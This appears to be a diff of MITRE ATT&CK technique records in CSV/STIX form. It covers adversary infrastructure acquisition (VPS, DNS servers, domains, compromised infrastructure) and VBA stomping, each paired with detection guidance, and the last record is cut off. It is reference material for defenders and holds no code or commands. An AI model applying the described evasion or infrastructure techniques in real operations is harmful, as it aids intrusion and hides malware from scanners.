'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) -Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583/003', external_id='T1583.003'), ExternalReference(source_name='TrendmicroHideoutsLease', description='Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', url='https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf')]",attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:52:41.901000+00:00,Virtual Private Server,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:40:45.279000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:40:45.279Z,2021-04-15T02:49:49.702Z,DNS Server,"Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. -By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583/002', external_id='T1583.002'), ExternalReference(source_name='Unit42 DNS Mar 2019', description='Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.', url='https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/')]",attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:49:49.702000+00:00,DNS Server,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 00:36:30.759000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. +By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/002', 'external_id': 'T1583.002'}, {'source_name': 'Unit42 DNS Mar 2019', 'description': 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.', 'url': 'https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:36:30.759Z,2021-10-17T16:01:48.871Z,Compromise Infrastructure,"Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. -Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1584', external_id='T1584'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'), ExternalReference(source_name='ICANNDomainNameHijacking', description='ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', url='https://www.icann.org/groups/ssac/documents/sac-007-en'), ExternalReference(source_name='Talos DNSpionage Nov 2018', description='Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.', url='https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html'), ExternalReference(source_name='FireEye EPS Awakens Part 2', description='Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.', url='https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html'), ExternalReference(source_name='NSA NCSC Turla OilRig', description='NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', url='https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf')]",attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:04:40.423000+00:00,Compromise Infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,False,,,,['PRE'],,,,1.0 -2020-09-30 17:09:31.878000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. +Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584', 'external_id': 'T1584'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}, {'source_name': 'Talos DNSpionage Nov 2018', 'description': 'Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.', 'url': 'https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html'}, {'source_name': 'FireEye EPS Awakens Part 2', 'description': 'Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html'}, {'source_name': 'NSA NCSC Turla OilRig', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. + +Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-30T17:09:31.878Z,2021-10-16T17:09:26.334Z,Domains,"Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) -Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583/001', external_id='T1583.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/630.html', external_id='CAPEC-630'), ExternalReference(source_name='CISA MSS Sep 2020', description='CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.', url='https://us-cert.cisa.gov/ncas/alerts/aa20-258a'), ExternalReference(source_name='FireEye APT28', description='FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.', url='https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf'), ExternalReference(source_name='PaypalScam', description=""Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017."", url='https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/'), ExternalReference(source_name='CISA IDN ST05-016', description='CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.', url='https://us-cert.cisa.gov/ncas/tips/ST05-016'), ExternalReference(source_name='Mandiant APT1', description='Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf')]",attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:50:38.792000+00:00,Domains,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Wes Hurd', 'Vinayak Wadhwa, Lucideus', 'Deloitte Threat Library Team']",,,,,,"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics. +Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/001', 'external_id': 'T1583.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/630.html', 'external_id': 'CAPEC-630'}, {'source_name': 'CISA MSS Sep 2020', 'description': 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-258a'}, {'source_name': 'FireEye APT28', 'description': 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf'}, {'source_name': 'PaypalScam', 'description': ""Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017."", 'url': 'https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/'}, {'source_name': 'CISA IDN ST05-016', 'description': 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/tips/ST05-016'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Wes Hurd', 'Vinayak Wadhwa, Lucideus', 'Deloitte Threat Library Team']","['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",,,,,True,,,,['PRE'],,,,1.0 -2020-09-30 16:37:40.271000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-30T16:37:40.271Z,2021-10-17T15:45:02.209Z,Acquire Infrastructure,"Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. -Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1583', external_id='T1583'), ExternalReference(source_name='TrendmicroHideoutsLease', description='Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', url='https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf')]",attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:53:19.397000+00:00,Acquire Infrastructure,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult. +Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583', 'external_id': 'T1583'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,False,,,,['PRE'],,,,1.0 -2020-09-17 12:51:40.845000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020) +Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-17T12:51:40.845Z,2021-10-15T14:02:07.944Z,VBA Stomping,"Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020) MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream) -An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/007', external_id='T1564.007'), ExternalReference(source_name='FireEye VBA stomp Feb 2020', description='Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.', url='https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html'), ExternalReference(source_name='Evil Clippy May 2019', description='Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.', url='https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/'), ExternalReference(source_name='Microsoft _VBA_PROJECT Stream', description='Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.', url='https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239'), ExternalReference(source_name='Walmart Roberts Oct 2018', description='Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.', url='https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278'), ExternalReference(source_name='pcodedmp Bontchev', description='Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.', url='https://github.com/bontchev/pcodedmp'), ExternalReference(source_name='oletools toolkit', description='decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.', url='https://github.com/decalage2/oletools')]",attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-09-23 11:31:50.407000+00:00,VBA Stomping,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Rick Cole, FireEye']","['Script: Script Execution', 'File: File Content']",,,,,"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) +An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/007', 'external_id': 'T1564.007'}, {'source_name': 'FireEye VBA stomp Feb 2020', 'description': 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html'}, {'source_name': 'Evil Clippy May 2019', 'description': 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.', 'url': 'https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/'}, {'source_name': 'Microsoft _VBA_PROJECT Stream', 'description': 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.', 'url': 'https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239'}, {'source_name': 'Walmart Roberts Oct 2018', 'description': 'Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.', 'url': 'https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278'}, {'source_name': 'pcodedmp Bontchev', 'description': 'Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.', 'url': 'https://github.com/bontchev/pcodedmp'}, {'source_name': 'oletools toolkit', 'description': 'decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.', 'url': 'https://github.com/decalage2/oletools'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rick Cole, Mandiant']","['Script: Script Execution', 'File: File Metadata']",,"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) -If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",,,,,True,,,['User'],"['Linux', 'Windows', 'macOS']",,['MS Office version specified 